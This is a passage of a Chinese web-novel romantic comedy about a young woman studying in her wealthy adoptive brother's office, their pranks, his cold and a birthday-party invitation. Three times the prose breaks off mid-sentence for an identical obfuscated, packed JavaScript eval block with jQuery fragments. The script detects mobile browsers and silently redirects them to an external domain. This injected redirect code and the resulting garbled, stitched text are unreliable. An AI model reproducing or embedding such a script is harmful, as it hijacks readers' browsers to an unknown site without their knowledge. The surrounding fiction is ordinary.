裴清昀面无表情地吐槽:“我连你都不怕,还怕鬼?”
这个巨大的办公室有诸多功能分区,整体都采用了低调的大地色装潢。只有距离深褐色办公桌不远的地方,放着一张粉色书桌。艳丽的死亡芭比粉,以及桌面上印着的芭比公主,跟整间办公室格格不入。
池镜心看着这张芭比粉书桌,一脸的难以置信:“这个书桌……不会是给我准备的吧?你的真实品味就是这样的?”
裴清昀:“……是给你准备的,但不是我选的。”
他今早给其中一位助理发了消息,说他妹妹要来办公室温书,让准备一张书桌,放到离他办公桌稍近的位置,方便他随时监督温书进度。
那位助理想当然地以为,温书还要哥哥监督的小女孩,年纪肯定很小。小女孩十有八九都喜欢芭比粉,于是就选了这么一张书桌。
池镜心赶紧跑到深褐色办公桌后坐了下来,将书包里的学习资料拿出来,铺了一桌子。
“你去用那个花里胡哨的芭比粉小书桌吧,我要用这张办公桌,宽敞简洁,有助于集中注意力。”
裴清昀:“……我让助理给你重新买一张书桌,想要什么样式,你自己选。”
“不要!”池镜心靠坐在办公椅上,悠哉悠哉地转了个圈,“什么桌子都比不上你这张办公桌顺眼,你这把椅子也不错,深得朕心,以后都归我了!”
裴清昀:“……”
他将公文包放到芭比粉书桌上,拉开芭比粉小椅子,坐了下来。
今天是周一,要开集团例会,因此他穿了一身深色西装,配合他那万年冰封的死人脸,庄严肃穆得不得了,员工远远看见都要在心里哀嚎一声“死神来了”。
如此庄严肃穆的形象,坐在如此幼稚的儿童书桌前,产生了一种强烈的喜剧效果。
池镜心乐得不行,悄悄拿出手机把这一幕拍了下来。
裴清昀把置办书桌的那个助理叫了进来。助理见到大老板居然坐在芭比粉儿童书桌前,而大老板带来的妹妹占据了整张办公桌,顿时吓得魂飞魄散。
裴清昀瞥了助理一眼,明明他的眼神还跟以前一样,广漠冰原一般不带任何情绪,但助理就是莫名觉得他的眼神中透着一丝哀怨。
“对不起对不起,”助理连连道歉,“我不知道您妹妹已经这么大了……”
裴清昀打断了他的话:“她说她就喜欢那张办公桌和办公椅,你去买一套同款。”
助理有些犹疑:“那张办公桌是特别定制的,可能需要费一些时间,这段时间……需要给您把这张儿童书桌换掉吗?”
裴清昀看助理的眼神透出一丝古怪,像是在看一个智障儿童:“这还用问?你是觉得我是因为喜欢这张桌子才坐这的吗?”
明明是语气平静的问句,不带丝毫怒气,助理却吓得心脏都快骤停了,又是一迭声道歉,然后诚惶诚恐地退了出去。
池镜心有些好奇:“他怎么那么怕你?你是不是经常对员工发火?”
“我几乎从来不对员工发火。”
“骗人,你天天对我发火。”
“那你就需要好好反思一下自己了。”
“……”
他拿上开例会所需的文件,离开了办公室。等他开完例会回来,那张芭比粉书桌已经换成了一张简洁宽敞的办公桌。
池镜心深感遗憾,她还挺想看便宜哥哥在芭比粉书桌前办公的,超绝反差萌。
接下来的时间,两人各自办公的办公,温书的温书,度过了无聊的一上午。
中途有员工进来找裴清昀,见到池镜心一个妹妹仔坐在本属于裴清昀的位置上,都吓得一愣。
这间巨大的办公室内部用障子门隔出了一间茶室,里面有宽敞的木桌和数把圈椅。中午裴家的工人送来午餐,裴清昀便带着池镜心在茶室里吃午餐。
池镜心吃完就犯困,她问裴清昀:“小说里男主的办公室都自带休息室,可以跟女主躲里面酱酱酿酿,做一些见不得人的事。你这里是不是也有休息室?”
裴清昀眉头微蹙,眼中升起戒备之色:“你想干嘛?”
池镜心笑了起来:“放心啦,我不想跟你酱酱酿酿,我就是困了想睡一觉……当然你愿意跟我一起睡的话我会很乐意的。”
对于一个洁癖患者来说,让其他人睡自己的床,简直就是一场噩梦。但裴清昀几乎没经历什么心理挣扎,就把池镜心带去了休息室。
他自己都觉得有些奇怪,他的洁癖一遇到阿心似乎就不怎么发作了。可能是因为小时候他亲手照顾过她吧,给她喂饭,给她擦脏兮兮的小花脸,任由她把自己的衣服当口水巾擦来擦去……
幼儿时期的阿心那么邋遢他都忍受得了,没理由长大后她知道爱干净了他反而忍受不了。
他越想越觉得自己这番推论实在是合情合理,这绝对就是全部的原因了。
休息室非常简洁干净,厚重的窗帘隔绝了光线,一片昏暗。池镜心穿着整齐的衣服躺到床上,很快就睡着了。
她只睡了十几分钟就醒了,起身离开了休息室。
经过办公室的会客区,她看到裴清昀躺在沙发上,一条手臂挡着眼睛,似乎是睡着了。
她轻手轻脚地走了过去,端详他手臂下露出的下半张脸。
尽管她一向缺德,没心没肺,此时心底还是冒出了一丢丢的歉疚和感动。
她还以为他不打算午休呢,所以才那么干脆地把自己的休息室让给了她。结果他睡沙发上了……早上她霸占他的办公桌,他也没说什么,这人真的很惯着她。
她就搞不懂了,既然他这么惯着她,对她这么好,为什么就是不肯满足她那个小小的愿望呢?
让她睡一下又不会少块肉,她长得也蛮好看的,他也不吃亏啊。
她盯着裴清昀的嘴唇,忽然觉得他的唇形特别好看,既不是面相学上说的薄情寡义的薄唇,也不是重色重欲的厚唇,是恰到好处的重情重义的完美唇形。
看来面相学还是有一定可信度的嘛,这家伙确实是挺重情重义的一个人。
她研究面相研究得正入迷,裴清昀忽然醒了。他放下胳膊,睁开眼睛,第一眼就看到阿心那张凑得极近的脸。
他吓了一跳:“你干什么!”
“我没干什么啊。”池镜心一脸无辜。她确实没干什么,只是盯着他的脸多看了一会儿罢了。
裴清昀却不相信她。这混账肯定是想趁他睡着干坏事。
他感到一阵烦躁,想不通自己到底是造了什么孽,他的妹妹居然会想睡他,这都什么破事!
下午,池镜心完成了一小时限
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036729|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时模考,获准休息二十分钟。
她来到茶室,翻找出一盒红茶叶、一盒纯牛奶,一小袋燕麦,打算自己煮一锅燕麦奶茶。
她在茶室里捣鼓得热火朝天,中途裴清昀想进来泡点茶,她遗憾告知对方:“你这里的茶叶剩得不多,已经全被我煮了”。
裴清昀端着茶杯离开了办公室,打算去供员工使用的茶水间里随便找点茶叶。
走到茶水间外,他无意间听到两个女员工在茶水间里用普通话聊天。
这两个女员工都是内地人,大学以前都在内地读书,平时就爱凑一起聊那些年在内地的经历。
女员工A:“我们高中那个数学老师可帅了,隔三差五就有女学生向他表白。为了让暗恋他的女生们断了心思,他每天都穿领子焦黄的衬衫来上课,一身汗臭味,邋遢得不得了。不过这招挺管用的,后来就真的没有女生向他告白了。”
女员工B:“我们学校也有个特别帅的老师,他更狠,上课上到一半用手指擤鼻涕,还随地吐痰,把大家恶心得不得了。这么一搞谁还敢暗恋他……”
裴清昀听着听着,若有所悟。他终于知道该怎么让阿心放弃睡他的想法了。
他有洁癖,让他效仿那两个老师的行为,他是万万做不到的,但是他可以借鉴人家的思路嘛。
当天夜里,他从衣帽间里拿出几件一尘不染的白衬衫,用颜料在衣领和袖口处涂涂抹抹,几经调色,反复摸索,终于完美模拟出那种被汗液反复浸染过的焦黄效果。
看着自己的杰作,他露出满意的笑容,开始期待明天早上阿心的反应。
第二天早上,裴清昀穿着那件杰作,来到了一楼餐厅。
他坐着等了几分钟,池镜心终于从卧室出来,慢腾腾地走到他对面坐下。
他满心期待地看着池镜心,但池镜心一直低着头吃饭,看都没看他一眼。
他想了想,拿起一个牛角包,放到了池镜心的餐盘里。他动作缓慢,故意让焦黄的袖口在池镜心面前停留了好几秒。
池镜心盯着他的袖口,忽然皱起了眉。
“咦?”她伸手按住了他的胳膊,眼里满是疑惑,“你这袖口怎么这么黄?”
她还凑近闻了闻,喃喃自语:“好奇怪的味道……”
裴清昀心中暗笑,以为计谋已经得逞。
下一秒,池镜心突然脸色一变:“有人给你下毒!”
“啊?”裴清昀完全没跟上她的脑回路,“什么下毒?”
“有人在你的衣服上抹了有毒的化学物质!你看都黄成这样了!还散发着刺鼻的味道!”
裴清昀收回了手:“……应该只是汗渍吧……你少看点推理小说,都入魔了。”
池镜心完全不买账:“绝对不是汗渍!汗渍不是这个味道!肯定是你的生意对手企图暗杀你!可是他怎么能接触到你的衣物呢?难道家里的工人都被买通了?!”
裴清昀:“……我觉得是你想多了。”
池镜心已经沉浸在自己的推理中无法自拔。
她立刻起身走到裴清昀身旁,伸手去扒他的衣服:“快脱下来!这衣服有毒你还穿着它干嘛?!我要亲自把这衣服送去化验所化验!现在这个家里你只能信任我了,其他人都有可能是嫌疑犯!”
裴清昀死死抓住衣领,不让她扒自己的衬衣。
池镜心急得兜头给了他一巴掌:“都这时候了还装什么贞洁烈男!难道我还能趁机非礼你吗!”
裴清昀:“……”
他被这一巴掌打懵了,手一松,衬衣立马被池镜心三两下扒了下来。
她拿着那件衬衣,风风火火地出了门,直奔最近的化验所。
在晨光明媚的餐厅里,裴清昀赤着上半身,单手捂着脸,静默良久。
他发誓,这绝对是他这辈子干过最愚蠢的一件事。
19. 感冒
在赶往化验所的路上,池镜心内心那叫一个激动澎湃。
她沉迷推理小说多年,为了写推理小说还跑去侦探事务所打工。但过去两年里,她遇到的委托大多是一些无聊的琐事。
这也正常,真正的大案要案奇案悬案,自有警察去调查,哪里轮得到她一个大学都没读的小小事务所调查员。
但这回不一样了,居然有人暗地里给她的便宜哥哥下毒,还被她给识破了,这可是能轰动全港的大案子啊!只要查出背后主谋,她必将在私家侦探届扬名立万!
她就知道,她池镜心早晚有一天会成为港岛第一名侦探的!
要是裴清昀为了感谢她的救命之恩,以身相许,那不就好事成双了嘛!
要是她以这次事件为原型,写一本推理小说,搞不好能大卖,那就好事成三啦!
池镜心越想越激动,几乎已经看到自己成为了著名推理小说家,一只手拿着厚厚的一叠稿费,另一只手伸进裴清昀的衣服里,肆意地拧他的胸肌腹肌人鱼线……
她来到化验所,将衬衣交给了工作人员,然后就开始了焦急的等待。同时她还不忘给裴清昀发了条消息。
池镜心:【你暂时别吃家里的饭了,当心饭菜也被人下了毒。实在不行这几天咱俩先住酒店吧。你别怕,我一定会帮你查出幕后真凶的!】
池镜心打完最后一个字,一脸骄傲地挺起了胸脯。此刻她觉得自己真是一个十分靠得住的大女人,这还不把这骚狐狸精给迷得死死的,搞不好今晚他就会主动投怀送抱……
裴清昀:“……”
他早就吃完早饭了,这会儿都坐在办公室里办公了。
不知道是被阿心给气的还是怎样,他感到一阵头疼,是真实的生理上的头疼。
他按着额角,回复了一句:【赶紧来我办公室温书。】
池镜心:【你命都快没了!还惦记着让我温书!你哪天被人害死了,我都怕你半夜站我床头逼我起床温书!】
裴清昀一阵无语,将手机丢开,继续揉按额角。
过了片刻,他终于反应过来,自己这症状应该是感冒了。他常年作息规律,饮食健康,又坚持运动,好几年都难得感冒一次,以至于一时间都没想到自己还能感冒。
是因为昨天在沙发上午休着了凉?还是因为今天早上被阿心扒了衣服受了冻?无所谓了,反正也不是什么大事。他联系了一下私人医生,让对方过来看看情况,给他开点药,便继续办公了。
池镜心在化验所左等右等,好不容易等到化验报告出来。她接过一看,立马就傻眼了,那件衬衣上的焦黄色不明物质,只是颜料而已?
她脑海深处响起啪的一声,是她梦想破碎的声音。
什么港岛第一名侦探,什么著名推理小说家,什么以身相许投怀送抱……都化为泡影了。
她气得给裴清昀狂发消息:
【化验报告出来了!你衣服上沾的是颜料!】
【是不是你画画的时候不小心沾上去的?】
【这么大个人了,颜料弄衣服上了都不知道!羞不羞?】
裴清昀只回了她一条:【一小时内,到我办公室来温书。】
池镜心赶到集团总部时已经快中午了。裴清昀派了个助理小姐姐下楼接她。
她走进顶层办公室,看见裴清昀戴着一个口罩正在办公,桌子上还放了一盒药。
“你怎么了?”她走过去,拿起那盒药看了看,是感冒药,“你感冒啦?”
“嗯,被你气的。”裴清昀头也不抬地说。
他戴着白色口罩,只露了一双淡漠的琥珀色眼睛,愈发显得气质冷淡,拒人于千里之外。
“切,”池镜心一脸不屑,“那你可真是一朵柔弱的小娇花。”
吐槽归吐槽,她其实还是有点心虚的。不会是昨天她霸占了他的休息室,害他只能在沙发上睡午觉,所以才感冒的吧?或者是今早扒了他的衣服害他受凉了?
中午吃完午饭,池镜心主动说:“今天你去休息室午休吧。”
“不用。”
“你这么柔弱,我都不忍心霸占你的休息室了,好怕你香消玉殒。”
“我今天不午休……你是不是不想午休,下午好拿自己困了当借口来逃避温书?”
池镜心翻了个白眼:“以小人之心度君子之腹。”
裴清昀大多数时间其实都不午休。今天午后他本没打算休息的,但吃了感冒药之后,困意突然来势汹汹,他只好去沙发上小睡一会儿。
睡着的前一秒他还在担心:阿心那个孽障不会趁他睡着了对他做些什么吧?
在感冒药的催眠作用下,他这一觉睡得非常沉。
睡醒时,他感觉自己身上盖着什么东西。他下意识以为是池镜心搞的恶作剧,立刻睁开了眼睛。
他低头一看,他身上盖着的,是休息室床上的那张薄被。
“你醒啦?”
他循声望去,只见池镜心正端端正正地坐在办公桌后,手里拿着笔,面前摊着学习资料,一脸乖巧地望着他,俨然一副好学生好妹妹的模样。
裴清昀:“……”
说不清是感动还是愧疚,他心里又暖热又酸涩。
原来孩子静悄悄,也不一定就是在作妖。她不仅给他盖了被子,还难得主动温书,安静乖巧地等他醒来……
裴清昀一时颇为感慨,人心中的成见果然是一座大山,阿心本质上其实是个很好的孩子嘛,他以后应该少戴有色眼镜看她。
就在这时,门口传来敲门声。他瞥了一眼电子屏,是一个助理过来送资料。
他走回自己那张办公桌后坐下,在手机上远程给助理开了门。
助理走进办公室,一看到裴清昀,明显一愣。她将资料递交过去,没忍住多看了几眼老板的脸,一脸的欲言又止。
裴清昀察觉到了助理的不对劲,问:“怎么了?你有什么想说的吗?”
助理表情古怪,像是想笑又不敢笑:“裴先生,您的口罩……”
裴清昀怕将感冒传染给池镜心,今天一直戴着口罩,连刚才午睡都没有摘下。听到助理这句话,他立刻将白色口罩摘了下来,只见口罩正中央,用粗黑的线条,画了一只生动可爱的猪头。
他额角迸出青筋,怒喝一声:“池镜心!”
池镜心立刻把笔一扔,窜得比兔子还快:“我今天的学习任务完成了!我出去玩啦!晚上不回来吃饭了!”
裴清昀手里死死攥着那只口罩,气急败坏地想:跑得了和尚跑不了庙,我就不信你永远不回来了!
这天晚上,裴清昀在家左等右等,迟迟没等到池镜心回来,倒是等来了他的另一个妹妹裴清嘉。
裴清嘉开着那辆粉色兰博基尼去酒吧夜蒲,半路上顺便来了一趟渣甸山,亲自给裴清昀送上两封请柬。
“你要邀请阿心去你的生日派对?”裴清昀拿着那两封请柬,问坐在他对面沙发上的裴清嘉。
他搞不懂,嘉嘉邀请他也就罢了,怎么连阿心也邀请上了?这两人只见过一面,还打了一架,这关系可以说是既不熟又不和。难道……嘉嘉不会是想在生日派对上报复阿心吧?
他突然感到责任重大。身为这两人的兄长,他务必要好好调解这两人的关系,万万不可让她俩结下仇。
裴清嘉云淡风轻地撩了一把新烫的头发,懒散道:“对啊。让她来姐的生日派对上见见世面,省得以后在我面前耀武扬威的。”
裴清昀:“……”
裴清嘉这番话在他听来,就是赤裸裸的威胁啊。
他清了清嗓子,神情严肃地看向裴清嘉:“你们俩都是我的妹妹,对彼此有什么意见,当面说开就好了,何必越闹越大,让外人看笑话。”
裴清嘉一愣,反应了好几秒才听懂裴清昀这句话,她当即脸色一变:“你什么意思啊?你以为我邀请她是想整她啊?我是那么无聊的人吗!以小人之心度君子之腹!”
裴清昀:“……”
这是他今天第二次被人骂“以小人之心度君子之腹”了,两次骂他的人都是他的妹妹。
行吧,是他枉做小人。但他确实想不通裴清嘉到底为什么要邀请阿心,明明她俩初次见面就大打出手。
他摇了摇头,只觉得女生之间的相处方式真是莫名其妙。
裴清嘉拎起包包,气冲冲地走了。
她邀请池镜心去她的生日派对,压根就没多想,只是图个人多热闹。而且她对池镜心的印象其实并不差,甚至她觉得这小鬼还挺有意思的。
再说了,池镜心跟裴清昀关系匪浅,她又恰好刚找裴清昀要了一笔钱投资电影,因此她邀请池镜心,也有一点讨好裴清昀的意思。谁知道裴清昀这个低情商死直男,压根没理解到这一层意思,还误会她动机不良,真是气死她了!
下午池镜心离开集团总部后,一个人去商场溜达了一圈,看了一部新上映的外国悬疑片,然后去了一家位于置地广场的融合菜餐厅,李熙政已经在这里等着她了。
上次她帮这个叫李熙政的见习督察解了围,对方加了她的联系方式,说有空了请她吃饭。她以为对方只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065998|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是客套而已,没想到没过几天李熙政就真的联系了她,找她商量吃饭的时间地点。
为了今天这顿饭,李熙政是精心打扮了一番的,不仅刚理过头发,还换上了新买的浅米色条纹衬衫,整个人看上去很是清爽。
可能因为是警察的缘故,他仪态端正,又生得眉目英挺,看向池镜心的眼神带一点腼腆,很像经典文艺片里的纯情男主。
换作其他女生,跟这样一个颜值穿搭仪态都OK的男生一起吃饭,多少会有点心动的。
可惜,池镜心天天面对裴清昀那张顶级混血神颜,对男色的欣赏阈值已经被无限拔高。因此,李熙政对她来说,就是一个男的而已。
两人边吃边聊,李熙政主动提到自己已经通过考核,晋升为正式的督察了。
“是吗?恭喜呀。”池镜心又问,“那你现在是在哪个部门工作?”
李熙政:“在深水埗区重案组。”
池镜心立刻眼睛一亮:“那你以后就可以调查很多重大案件了!还可以查看很多重大案件的卷宗!”
李熙政点了点头,正奇怪池镜心为什么对所谓的“重大案件”这么感兴趣,池镜心就激动地跟他说:“我业余时间在创作推理小说,平时都在积累相关素材。你可以给我当顾问吗?我可以请你吃饭,也可以付你钱!”
李熙政连连摆手:“不不不,吃饭可以,付钱就不用了。”
于是接下来的用餐时间里,池镜心完全没跟他客气,一直问东问西,还捧着手机把有用的信息全记录到了备忘录里。
李熙政也是知无不言,只要不违背警务处纪律要求,人家问什么他就答什么,一点也没不耐烦。
他甚至还挺欣喜的。对池镜心来说,他是一个有用的存在,这个认知本身就令他感到非常愉悦。
这顿饭吃到最后,李熙政问:“你家住哪儿?我今天开车过来的,待会儿我送你回去吧。”
池镜心没多想,直接回道:“我住渣甸山。”
李熙政脸上淡淡的微笑瞬间凝固住了。
池镜心一看他的脸色,赶紧解释:“你别误会。我家不在渣甸山,是我一个亲戚住在那。最近我都住亲戚家。”
李熙政脸上冻住的表情瞬间解冻,又笑得如春风和煦。他暗暗松了一口气,心想:还好她不是从小住渣甸山的女孩子,不然他和她之间就没有任何可能性了。
就算千金小姐愿意下嫁,千金小姐的家长也不是傻子,他也不是忍心让心爱之人陪自己吃苦的那种男的。
这天晚上,李熙政到底还是没能送池镜心回家。
池镜心接到了裴清昀的电话,裴清昀问她什么时候回家,他派司机过去接她。
池镜心想了想,觉得还是让裴清昀家的司机过来一趟好了,就不麻烦李熙政了。毕竟今后人家给她当免费顾问,需要麻烦他的地方还很多。
她接完电话,对李熙政说:“我那亲戚说派司机过来接我,就不麻烦你啦。”
李熙政笑着应了一声“好”,心里却泛起疑虑。刚刚池镜心接电话时,他隐约听到电话那头是一个冷冽的年轻男子的声音。她和年轻的男性亲戚住一起吗?会不会太不方便?
尽管满腹疑虑,但他的教养不允许他打听别人的隐私。最终他什么都没问,陪池镜心一起等司机到来,目送她上了那辆黑色的迈巴赫,才转身离开。
池镜心回到渣甸山,蹑手蹑脚地走过庭院,躲在落地窗后,鬼鬼祟祟地窥探一楼室内。
她怕裴清昀因为下午的恶作剧收拾她,打算趁他不注意赶紧溜进卧室把门反锁起来。
她集中精力观察着室内的动静,没留意到有人已经悄悄贴近她身后。
裴清昀静静站在她身后,存心想吓她一吓,以报今天下午被捉弄之仇。
他微微低下头,冷不丁在她耳边喊了一声:“喂!”
池镜心:“啊!!!”
她被耳边炸雷般的动静吓得魂飞魄散,来不及转身查看情况,多年来学习格斗形成的条件反射与肌肉记忆,让她在一瞬间就向身后使出了一招肘击。
肘击是泰拳中极其毒辣的招式,杀伤力极强。
裴清昀闷哼一声,只觉得自己的胃快要裂开了。幸亏他离她还有一定距离,这一记肘击挨得不算严实。要是离得更近一点,结结实实挨上这一击,他毫不怀疑自己会呕出一口血来。
池镜心回头一看,只见自己的便宜哥哥捂着胃部,脸色苍白,表情痛苦。
她绝望地捂住了嘴。完了,旧恨未消,又添新仇,她该如何成功活过今晚?
20. 受伤
“哥,你没事吧?”池镜心的声音都在微微发颤。
裴清昀:“……你看我像没事吗?”
池镜心借着灯光仔细一看,他苍白的额角都渗出冷汗了,长长的睫毛垂下,半掩住眼底的痛苦之色……
此时,池镜心只觉得自己就是个禽兽。明明便宜哥哥都这么难受了,她却从他的痛苦中品出了一种强烈的美感。
好奇怪,怎么会有人受伤后变得更性感了?她自己也好奇怪,为什么她想把他弄得更痛苦?她怕不是真是个变态吧?
她晃了晃脑袋,强行压下内心深处那蠢蠢欲动的凌虐欲,伸手搀住裴清昀:“我扶你进屋休息会儿吧。严不严重啊?要不要打急救电话?”
“……那倒也不必。”
裴清昀以前练习格斗时受伤是家常便饭,对于这种程度的伤他心里有数,疼归疼,但要不了几天就可以自愈。
其实这种程度的疼痛,对他来说是完全可以忍受的。但他现在不想忍。他眉头紧蹙,把难受两个字明明白白写在了脸上,故意要让池镜心看看她都造了些什么孽,从而激起她的愧疚感。
裴清昀自认为是个实用主义者,既然受了伤,那这伤就不能白受,总要换点什么。
池镜心搀扶着他来到沙发上坐下,又忙不迭地去冰箱里拿了瓶冷饮。她回到客厅,在裴清昀身旁坐了下来,用那瓶冷饮给他冰敷受伤的部位。
裴清昀背靠着沙发,一动不动地任由池镜心帮他处理伤处。过了片刻,他悠悠道:“我觉得你克我。”
池镜心心头一颤,脸上立刻堆起讨好的笑容:“怎么会呢?自从我搬到你这来住,你的人生变得多丰富多彩啊,每天都有新刺激。我明明是旺你。”
裴清昀还是那副凉悠悠的语气:“人生多不多彩我不知道,明天我受伤的部位肯定很多彩。”
池镜心不敢说话了,低着头无比认真地给他冰敷伤处。
冷饮的瓶身上凝结起小水珠,打湿了裴清昀身上白色的家居服。白色的布料湿透后变得半透明,贴在皮肤上,池镜心可以看到布料下若隐若现的腹肌。
她呼吸都乱了。这画面太色了,怎么会这么色……好想骑在他的腰上,抓着他的头发,啪啪扇他耳光,把他弄哭……天啊,她怎么会冒出如此变态的想法!
池镜心感到崩溃,又觉得自己无辜,她只是一个刚满二十岁的血气方刚的小女孩,哪经得起这种程度的男色诱惑啊……
见池镜心低着头不说话,裴清昀以为她正沉浸在愧疚之中。他不动声色地笑了笑:“今天上午我感冒八成也是因为你。你抢我的休息室,还扒我衣服,害我着凉。你说你是不是克我?”
池镜心从沉迷男色的状态中回过神来,赶紧点了点头,胡乱应道:“是是是,都是我不好。”
裴清昀耐心地循循善诱:“那你是不是该给点赔偿?”
池镜心一愣,抬头去看他的脸色。裴清昀眉目平静,看不出什么端倪。
池镜心有些困惑地歪了歪头。他到底想要怎样?赔偿?她一穷二白要啥没啥,他坐拥金山银山,她能赔偿他什么?
两人挨着坐在沙发上,池镜心的手还拿着冷饮贴在他的腹部。他应该是刚洗过澡,身上散发着一种洁净好闻的味道,混合着清新湿润的水汽,营造出一种暧昧朦胧的氛围。
池镜心又有些心猿意马。难道……她那刚被黄色废料浸泡过的大脑,得出了一个浸满黄色废料的结论:他想通了!他愿意被她睡了!
她一脸震惊地看向裴清昀,结结巴巴地问:“你、你是不是……想让我……”
裴清昀挑了挑眉,耐心等了好几秒,才听见池镜心小心翼翼地说出了最后两个字:“肉偿?”
他两眼一黑,差点一口气没倒上来,一巴掌拍在了池镜心后脑勺上:“肉偿你个头!从明天起,每天多做一套试卷,这才是你应该做的赔偿!”
池镜心被他这一巴掌拍得脑袋往前一晃,差点把脸埋在了他隔着半透明布料隐隐浮现的腹肌上。
她呼吸一滞,赶紧坐直了身子,抬手揉了揉后脑勺,委屈得不行。还不是这骚狐狸精整天见缝插针地发骚,不然她怎么会浮想联翩?
她有些不服气地看向别处,视线落在了茶几上的两个黑色烫金信封上。
“这是什么?”她随手拿起其中一个信封,问。
裴清昀:“今晚嘉嘉送来的请柬。她邀请我们去参加她的生日派对。”
池镜心有些意外:“怎么还邀请了我?”
她打开请柬看了看,这场生日晚宴的时间在半个月后。因为裴清嘉属蛇,今年又是蛇年,所以这场派对以灵蛇为主题,要求宾客穿黑色或者红色礼服,配饰须带有蛇元素。
这个要求其实不过份。蛇元素一向是时尚界的宠儿,谁家千金没几件蛇元素的首饰呢。但池镜心还真没有。
她将请柬扔回茶几上,不甚在意:“好麻烦,还要戴蛇元素的首饰。我没有这些乱七八糟的东西,就不去了吧。”
裴清昀挺希望她俩能借这个派对化解矛盾,增进友谊,因此主动说:“我会帮你搞定的,到时候咱俩一起过去。”
池镜心还是不太想去,但她转念一想,港岛这些名门世家互相都有来往,搞不好裴清嘉还邀请了骆品谦和何咏晴。
她问裴清昀:“咏晴姐姐也会去吗?”
“我怎么知道。”裴清昀的语气忽然有些阴阳怪气,“你不是跟你的咏晴姐姐很要好吗?你去问问她啊。
你不会连人家的联系方式都没有吧?还是人家平时都不回你消息?啧,我看你叫姐姐叫得那么亲热,还以为人家真的认你当妹妹了呢。”
池镜心:“……”
他到底在阴阳什么啊?真是莫名其妙啊这人。
她拿起手机,给何咏晴发了条消息,问她去不去裴清嘉的生日派对。
过了几十秒,何咏晴回复道:【去呀,品谦和嘉嘉认识好多年了,我和他都会去的。】
池镜心得意洋洋地把手机界面怼到裴清昀面前:“看见没有?咏晴姐姐秒回!既然她要去,那我也去。”
裴清昀冷哼一声,没搭理她。
第二天,池镜心一大早就被裴清昀拎去办公室温书。她不怎么在状态,写不了两道题就走神。到了中午,她今天的学习任务尚未完成一半。
她把自己的平板也带到了办公室来。中午在茶室吃饭的时候,她支起平板,边吃边看一个美食探店类节目,看得心驰神往,口水直流,只觉得自己碗里的饭都不香了。
“哇,这家店看起来好好吃啊。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078451|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我好想吃那个白胡椒蟹肉羹,还有香辣阿拉斯加皇帝蟹,还有椒麻春笋,我最喜欢吃春笋了。”
裴清昀瞥了一眼平板屏幕,没觉得那些菜有什么稀奇的,语气平淡地劝了两句:“你有什么喜欢吃的就跟家里的厨师说。没事少在外面吃饭,不卫生,也不健康。”
身为洁癖患者与养生爱好者,裴清昀对食物的要求颇高,家里所有食材都是空运过来的,务必做到最新鲜,品质最高,烹饪过程也力求健康卫生。
但是越是健康的食物,吃起来就越是差点意思。池镜心在他这里吃了这么长一段时间少油少盐的健康餐,已经颇有些厌烦,现在她就想吃点不那么健康的。
“管它健不健康的,一顿饭而已,又不至于把我毒死了。”
池镜心拿起手机搜索那家店,翻看了一下相关信息,有些失望:“这家店是新开的,主厨是从去年世界排名第一的中餐厅跳槽过来的,慕名去吃饭的人特别多,得提前小半年抢订位子。”
她叹了口气:“我手速这么差,猴年马月才能抢到位子啊。”
裴清昀看了她一眼:“真这么想去吃?”
池镜心点了点头:“当然。”
“只要你今天下午在五点以前完成所有的学习任务,我今晚就可以带你过去吃。”
池镜心的眼睛刷的一下亮成了探照灯:“你说真的?!”
“真的。”
她不太信:“今晚所有的位子肯定都被订光啦,你怎么带我过去吃?站后厨里吃吗?你只是想骗我温书吧?”
裴清昀一本正经地看向她:“我要是骗你,从今以后我给你当弟弟,管你叫姐。”
池镜心:“……”
她脑子里莫名其妙冒出来一个画面:她骑在裴清昀身上,啪啪扇他耳光,他哭得眼睛通红,一边哭一边可怜兮兮地喊,姐姐别打啦。
她爽得浑身颤栗了一下,暗暗发誓,一定要让这幅画面变成现实。
下午,池镜心的学习状态直接拉满,刚到四点半就完成了所有的学习任务。她激动得摩拳擦掌,今晚要么能吃到自己心心念念的美食,要么能听到裴清昀管她叫姐,无论哪种结果都非常完美。
到了下午六点,裴清昀终于结束了工作,云淡风轻地对池镜心说:“走吧,带你去那家餐厅吃饭。”
池镜心感到不可思议,直到司机将他俩载到了目的地,裴清昀带着她穿过走廊,走向包厢,她才不得不相信,裴清昀是真的搞到了位子,还是包厢。
两人走在饭店走廊上,池镜心有些惴惴不安:“你不会是用了什么非常手段,逼迫原来订到这个包厢的人主动放弃的吧?”
裴清昀轻轻一哂:“这种小事用得着逼迫?没人会跟钱过不去,只要你出的价足够高,自然会有人上赶着把包厢让给你。”
池镜心笑嘻嘻地拉着他的胳膊晃来晃去,用假甜假甜的嗓音说:“阿昀哥哥真好~为了请我吃个饭还要额外破费~”
